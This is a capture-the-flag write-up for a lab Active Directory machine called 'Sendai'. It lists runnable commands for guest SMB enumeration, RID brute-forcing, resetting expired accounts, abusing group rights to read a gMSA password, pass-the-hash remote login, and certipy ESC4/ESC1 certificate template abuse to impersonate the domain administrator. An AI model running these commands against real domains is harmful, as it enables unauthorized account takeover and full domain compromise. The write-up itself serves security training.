Sendai

---

OVERVIEW

So we have been told the user flag will be in C:/ directory and also gave us the target IP address

Let's start the enumeration using NMAP

ENUMERATION

Let's start with Anonymous Login with netexec using guest as the username and empty password

nxc smb 10.129.234.66 -u guest -p '' 

We successfully authenticated so lets enumerate shares also

nxc smb 10.129.234.66 -u guest -p '' --shares

We got read access on two useful shares sendai and Users

Let's use smbclient to dump all the data in these shares into our local machine

smbclient -U guest%'' //10.129.234.66/Users -c 'prompt OFF;recurse ON;mget *'

smbclient -U guest%'' //10.129.234.66/sendai -c 'prompt OFF;recurse ON;mget *'

So when everything will be downloaded to your local machine you will see one file named as incident.txt

Incident.txt

Dear valued employees,

We hope this message finds you well. We would like to inform you about an important security update regarding user account passwords. Recently, we conducted a thorough penetration test, which revealed that a significant number of user accounts have weak and insecure passwords.

To address this concern and maintain the highest level of security within our organization, the IT department has taken immediate action. All user accounts with insecure passwords have been expired as a precautionary measure. This means that affected users will be required to change their passwords upon their next login.

We kindly request all impacted users to follow the password reset process promptly to ensure the security and integrity of our systems. Please bear in mind that strong passwords play a crucial role in safeguarding sensitive information and protecting our network from potential threats.

If you need assistance or have any questions regarding the password reset procedure, please don't hesitate to reach out to the IT support team. They will be more than happy to guide you through the process and provide any necessary support.

Thank you for your cooperation and commitment to maintaining a secure environment for all of us. Your vigilance and adherence to robust security practices contribute significantly to our collective safety.

This tells us that some users maybe are on Forced Password Reset State

This is the PASSWD_NOTREQD / Password Must Change flag in Active Directory / SAM. When set, the pwdLastSet attribute is 0, meaning the account's password expired at epoch — Windows forces a reset on next login.

So if we have list of users we can check them against a service with empty password to find out the users which are at Forced Password Reset State

Since we have Null Authentication so lets do rid bruteforce using nxc

nxc smb 10.129.234.66 -u guest -p '' --rid-brute

Now copy all the user and machine accounts and make a users.txt list

Administrator
Guest
krbtgt
DC$
sqlsvc
websvc
Dorothy.Jones
Kerry.Robinson
Naomi.Gardner
Anthony.Smith
Susan.Harper
Stephen.Simpson
Marie.Gallagher
Kathleen.Kelly
Norman.Baxter
Jason.Brady
Elliot.Yates
Malcolm.Smith
Lisa.Williams
Ross.Sullivan
Clifford.Davey
Declan.Jenkins
Lawrence.Grant
Leslie.Johnson
Megan.Edwards
Thomas.Powell
mgtsvc$

Now lets bruteforce these usernames with empty password against SMB service to find out if any user is at Forced Password Reset State

nxc smb 10.129.234.66 -u users.txt -p '' --continue-on-success

We got two accounts that shows STATUS_PASSWORD_MUST_CHANGE so lets change Elliot.Yates password using nxc

nxc smb 10.129.234.66 -u Elliot.Yates -p '' -M change-password -o NEWPASS='Sendai2025'

Now lets get bloodhound zip file to see if Elliot.Yates have any rights on other user/groups or not

bloodhound-python -u Elliot.Yates -p Sendai2025 -d sendai.vl -ns 10.129.234.66 -c ALL --zip

Now lets open bloodhound and see the rights

We can see that Elliot is the member of Support group which has GenericAll Rights on ADMSVC group

Further this groups has ReadGMSAPassword permission on MGTSVC$@SENDAI.VL machine account

So If we add Elliot.Yates to the ADMSVC group then we can read GMSA password for MGTSVC$ account

bloodyAD -u Elliot.Yates -p Sendai2025 -d sendai.vl --host DC.sendai.vl add groupMember ADMSVC Elliot.Yates

Now lets try to read gmsa password for the MGTSVC$ account

nxc ldap 10.129.234.66 -u elliot.yates -p Sendai2025 --gmsa

And from Bloodhound we know that MGTSVC$ is a member of Remote Management Users so we can do evil-winrm into it

USER FLAG

evil-winrm -i 10.129.234.66 -u mgtsvc$ -H <REDACTED>

Now get the user flag from the C:/ directory

---

LATERAL MOVEMENT

As I got the user flag i searched for privesc vectors so did whoami /all and found that there is BUILTIN\Certificate Service DCOM Access group whose MGTSVC$ account is part off

So i ran certipy to find any vulnerable templates

certipy find -u 'mgtsvc$@sendai.vl' -hashes :e091550<SNIP>c6051 -dc-ip 10.129.234.66 -vulnerable -stdout

Found No templates so then ran winPEAS.exe in order to find anything for Privilege Escalation

On running winPEAS.exe i didn't found any privesc vector worth indulging into so i started looking for services in the machine

First I searched for MicrosoftEdge services

ls HKLM:\System\Currentcontrolset\services | findstr Microsoft

Didn't find anything interesting so i moved to helpdesk service next

ls HKLM:\System\Currentcontrolset\services | findstr helpdesk

Found the Clifford.Davey user credentials lets try it against smb service whether it is right or not

It worked , now let's see in bloodhound that he has some good rights or not

PRIVILEGE ESCALATION

Clifford.Davey is the Member of CA-OPERATORS group so it might have some vulnerable template so let's check it

certipy find -u 'clifford.davey@sendai.vl' -p <READCTED> -dc-ip 10.129.234.66 -vulnerable -stdout

BINGO! we got ESC4 Vulnerability

With this access, an attacker can reconfigure the template to inject vulnerable parameters.

In this case, it involves adding the ability to manually define the subjectAltName field via the mspki-certificate-name-flag property, which is precisely one of the conditions required to execute an ESC1 attack.

certipy template -u 'clifford.davey@sendai.vl' -p <READCTED> -template SendaiComputer -write-default-configuration -dc-ip 10.129.234.66

Now we have made changes in the SendaiComputer template and now it should be vulnerable to ESC1 vulnerablity

Here it is ESC1 is now enabled now we can request certificate for impersonating administrator/domain controller
You can get administrator sid through earlier RID-Bruteforce output or through bloodhound

certipy req -u 'clifford.davey@sendai.vl' -p <REDACTED> -dc-ip 10.129.234.66 -target DC.sendai.vl -template SendaiComputer -ca sendai-DC-CA -upn 'administrator@sendai.vl' -sid S-1-5-21-3085872742-570972823-736764132-500 

now lets obtain administrator NT hash

certipy auth -pfx administrator.pfx -dc-ip 10.129.234.66

ROOT FLAG

Now let's evil-winrm into it and get the root flag

WE FINALLY DID IT !!!! CHALLENGE SOLVED !!

For Any Query Or Problem Either Leave A Comment Or Contact At reapsec.com

THANKS FOR READING !!!